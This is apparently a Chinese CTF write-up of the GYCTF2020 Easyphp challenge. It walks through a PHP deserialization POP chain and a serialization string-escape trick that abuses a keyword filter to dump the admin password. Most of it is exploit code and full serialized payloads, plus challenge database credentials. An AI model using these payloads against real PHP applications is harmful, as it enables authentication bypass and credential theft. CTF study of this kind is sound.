GYCTF2020-Easyphp

[GYCTF2020]Easyphp

www.zip备份文件下载下来审计一下~
有点好笑哈哈哈哈哈哈~

img

在lib.php中看到很多类和方法,盲猜就是需要反序列化,然后搜索了一下unserialize函数
发现在update函数中果然有这个函数。但是没看到传参的入口,于是再看看其他文件,发现:
img
包含了flag.php,回想到刚刚看到的file_get_contents~这不就呼应上了?不过还是要再继续看看,别等下走了歪路。。。
img

回到update.php中,我们可以发现,即使login!=1依旧会执行$users->update();,而这个函数在lib.php中,反序列化了getNewinfo()中的内容
img
继续看getNewInfo()里面的内容,可以使用post传入age和nickname,实现参数的传入
img
但是由于有个safe函数,所以我们直接通过file_get_contents包含是不太可能的==于是想想有没有其他,可以发现这个safe函数,他是通过将危险字符串换成hacker来达到过滤的目的,这样的话就意味着存在反序列化字符串逃逸的的风险
img
继续查看一下他的整体代码逻辑,不难发现nickname和age会被插入在这里执行update操作:
img
我们的最终目标应该是修改admin的密码,使得我们可以登录,所以这里的update语句似乎也没有多大意义的亚子,于是我们看看其他地方能不能构造出一条链出来,如果我们可以是用login方法,它会创造一个新的类也就是dbCtrl,接下来就会执行查询的sql语句,但是查询结果似乎是只有回显id,我们需要的是密码,所以好像意义不太大?,继续往下看看

img

在user里面还有一个tostring,通常是用来做跳板的:当一个类被转换成字符串时被调用,update函数也是User里面的,所以应该是其他地方的跳回来这里吧,继续往下

img

这是一个新的类,其中有一个call方法,即调用不可访问或不存在的方法时被调用,一般也是用来做跳板的,他最后是login的,login就两个地方,一个是dbCtrl,一个是User,要去哪个呢?,感觉应该是要去dbCtrl,为什么呢,继续往下看看img

这边echo了sql,应该是echo查询结果吧,echo输出的内容是字符串,所以应该是从这里开始起跳到User里面,

img

整理一下思路,从UpdateHelper中构造查询sql语句然后通过destruct将nickname赋值为Info类,调用info里面的call方法,并将ctrlcase赋值为dbCtrl使其使用login方法查询sql结果,

构造一下在本地调试一波看看

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {

}
public function update(){

}
public function getNewInfo(){

}
public function __destruct(){

}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $CtrlCase;
public function __construct(){

}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{

public $sql;
public function __construct(){

}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="localhost";
public $dbuser="root";
public $dbpass="as119801222";
public $database="security";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
$a=new UpdateHelper();
$b=new User();
$c=new Info();
$d=new dbCtrl();
$b->age="select password from users where username='admin'";
$c->CtrlCase=$d;
$b->nickname=$c;
$a->sql=$b;
echo (serialize($a));
unserialize("O:12:\"UpdateHelper\":1:{s:3:\"sql\";O:4:\"User\":3:{s:2:\"id\";N;s:3:\"age\";s:49:\"select password from users where username='admin'\";s:8:\"nickname\";O:4:\"Info\":1:{s:8:\"CtrlCase\";O:6:\"dbCtrl\":8:{s:8:\"hostname\";s:9:\"localhost\";s:6:\"dbuser\";s:4:\"root\";s:6:\"dbpass\";s:11:\"as119801222\";s:8:\"database\";s:8:\"security\";s:4:\"name\";N;s:8:\"password\";N;s:6:\"mysqli\";N;s:5:\"token\";N;}}}}");

调试完以后是按照想象中的跳了,但是没出来密码?所以想说再构造一下试试看,试了几次都没出密码,于是看了一下wp,发现几件事,首先,idresult对应的是查询出来的第一个参数,所以我们的查询语句应该是select password,id from users where username=?img

其次 查询的对象也就是name的赋值需要在这里赋值:
img

所以改良以后的poc为:

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {

}
public function update(){

}
public function getNewInfo(){

}
public function __destruct(){

}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $CtrlCase;
public function __construct(){

}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{

public $sql;
public function __construct(){

}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="localhost";
public $dbuser="root";
public $dbpass="as119801222";
public $database="security";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
$a=new UpdateHelper();
$b=new User();
$c=new Info();
$d=new dbCtrl();
$d->token='admin';
$d->name='admin';
$b->age="select password,id from users where username=?";
$c->CtrlCase=$d;
$b->nickname=$c;
$a->sql=$b;
#echo (serialize($a));
unserialize("O:12:\"UpdateHelper\":1:{s:3:\"sql\";O:4:\"User\":3:{s:2:\"id\";N;s:3:\"age\";s:52:\"select password,id from users where username='admin'\";s:8:\"nickname\";O:4:\"Info\":1:{s:8:\"CtrlCase\";O:6:\"dbCtrl\":8:{s:8:\"hostname\";s:9:\"localhost\";s:6:\"dbuser\";s:4:\"root\";s:6:\"dbpass\";s:11:\"as119801222\";s:8:\"database\";s:8:\"security\";s:4:\"name\";s:5:\"admin\";s:8:\"password\";N;s:6:\"mysqli\";N;s:5:\"token\";s:5:\"admin\";}}}}");

由于以上的poc我连接的是本地的数据库来测试,所以后面需要改回去
接下来就是让这里的反序列化内容逃逸出去
这里说一下遇到的坑:
1.记得前面的内容要有引号闭合,后面要有花括号闭合
2.原本的反序列化内容还有个CtrlCase,我们的payload拼接进去以后会被挤到后面去就被丢掉了,所以需要在我们的payload之前加一下(在这里卡了很久无语了)

这是终极payload:

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {

}
public function update(){

}
public function getNewInfo(){
$age="loadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadload\";O:12:\\\"UpdateHelper\\\":1:{s:3:\\\"sql\\\";O:4:\\\"User\\\":3:{s:2:\\\"id\\\";N;s:3:\\\"age\\\";s:52:\\\"select password,id from users where username = 'admin'\\\";s:8:\\\"nickname\\\";O:4:\\\"Info\\\":1:{s:8:\\\"CtrlCase\\\";O:6:\\\"dbCtrl\\\":8:{s:8:\\\"hostname\\\";s:9:\\\"localhost\\\";s:6:\\\"dbuser\\\";s:4:\\\"root\\\";s:6:\\\"dbpass\\\";s:11:\\\"as119801222\\\";s:8:\\\"database\\\";s:8:\\\"security\\\";s:4:\\\"name\\\";s:5:\\\"admin\\\";s:8:\\\"password\\\";N;s:6:\\\"mysqli\\\";N;s:5:\\\"token\\\";s:5:\\\"admin\\\";}}}}";
$nickname="11";
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){

}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;

public $CtrlCase;
public function __construct(){
// $this->age=$age;
// $this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{

public $sql;
public function __construct(){

}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
$a=new UpdateHelper();
$b=new User();
$c=new Info();
$d=new dbCtrl();
$d->token='admin';
$d->name='admin';
$b->age="select password,id from users where username=?";
$c->CtrlCase=$d;
$b->nickname=$c;
$a->sql=$b;
echo ("loadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadload\";s:8:\"CtrlCase\";");
echo (serialize($a));

在本地调试是可以的==但是不知道为啥放到题目下就不行了,我人傻了

可以看到因为数据库的账号密码不匹配所以返回了错误信息。img

我以为是我的payload出了问题,但是直接复制粘贴别人的也没有可以的–无语了

loadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadload";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:46:"select password,id from users where username=?";s:8:"nickname";O:4:"Info":2:{s:3:"age";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

后来感觉还是很不甘心,于是又去找了一下其他人的payload,发现有一个人的可以用,可是s:2:”as”;这个部分从哪里来的属实没懂找了好几个师傅的题解都没看到

loadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadloadload";s:2:"as";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:46:"select password,id from users where username=?";s:8:"nickname";O:4:"Info":2:{s:3:"age";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

而且在本地运行的时候就运行不来,盲猜是题目没配置好吧?
越想越不合理,又重新尝试了一下,发现我那个又可以了,但是本地却不行了,于是再尝试了一下,发现二者之间相差两个字符,也就是本地能成功的,只要拿掉一个load,也就是扣掉两个字符在题目环境下就能成功。而且很无语的是扣掉两个花括号也能成功==,无语了

小结

完整做下来以后还是收获了很多,主要是有很多小坑,当代码读完一遍吼,反序列pop链的构造其实并没有很困难,就是那几个魔术方法运用一下就型,顺着思路走就行。坑点主要就是上面那几个,说说学到了啥
1.学到了很多调试方案,当我拼接以后一直尝试不出来的时候,对那串反序列化一个部分一个部分进行调试,才发现需要保证其完整性
2.那个s从哪里来的真的把我搞懵了==用题目下下来的源码去跑这个payload是出不来东西的,用原本的才行,而在题目的环境中却又必须要用那个玩意??

https://www.1ight.top/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%94%bb%e5%87%bb/#comment-9

Author

vague huang

Posted on

2021-07-18

Updated on

2021-07-19

Licensed under

Comments